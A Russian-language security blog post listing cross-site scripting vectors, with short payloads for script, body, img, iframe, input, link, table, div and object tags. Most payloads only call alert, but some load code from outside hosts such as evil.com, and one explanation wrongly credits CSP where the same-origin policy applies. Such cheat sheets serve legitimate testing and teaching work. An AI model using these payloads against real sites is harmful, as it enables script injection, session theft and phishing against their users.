Подробно об XSS и примеры использования
Дневник БезопасникаНекоторые примеры векторов атаки XSS
Ниже приведен неполный список векторов XSS-атак, которые злоумышленник может использовать для нарушения безопасности веб-сайта или веб-приложения посредством XSS-атаки. Более подробный список примеров полезной нагрузки XSS содержится здесь.
<script> тег
Тег <script> является наиболее простой полезной нагрузкой XSS. Тег <script> может либо ссылаться на внешний код JavaScript, либо встраивать код внутрь тега <script>.
Внешний скрипт
<script src=http://evil.com/xss.js></script>
Встроенный скрипт
<script> alert("XSS"); </script>
<body> тег
Полезная нагрузка XSS может быть доставлена внутрь тега <body> с помощью атрибута onload или других более непонятных атрибутов, таких как атрибут background.
onload атрибут
<body onload=alert("XSS")>
background атрибут
<body background="javascript:alert("XSS")">
<img> тег
Некоторые браузеры выполняют JavaScript, если он содержится в <img>.
<img src="javascript:alert("XSS");">
XSS с использованием менее известных атрибутов
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<iframe> тег
Тег <iframe> позволяет встраивать другую HTML-страницу в родительскую страницу. iFrame может содержать JavaScript, однако важно отметить, что JavaScript в iFrame не имеет доступа к DOM родительской страницы из-за политики безопасности содержимого (CSP) браузера. Тем не менее, iFrame по-прежнему являются очень эффективным средством для проведения фишинговых атак.
<iframe src=”http://domain.com/xss.html”>
<input> тег
В некоторых браузерах, если атрибут типа <input> имеет значение image, им можно манипулировать для встраивания сценария.
<input type="image" src="javascript:alert('XSS');">
<link> тег
Тег <link>, который часто используется для ссылки на внешние таблицы стилей, может содержать сценарий.
<link rel="stylesheet" href="javascript:alert('XSS');">
<table> tag
Атрибут background тегов <table> и <td> может быть использован для ссылки на скрипт вместо изображения.
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
<div> tag
Тег <div>, подобно тегам <table> и <td>, также может задавать фон и, следовательно, встраивать сценарий.
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
<object> tag
Тег <object> можно использовать для включения в сценарий сценария с внешнего сайта.
<object type="text/x-scriptlet" data="http://domain.com/xss.html">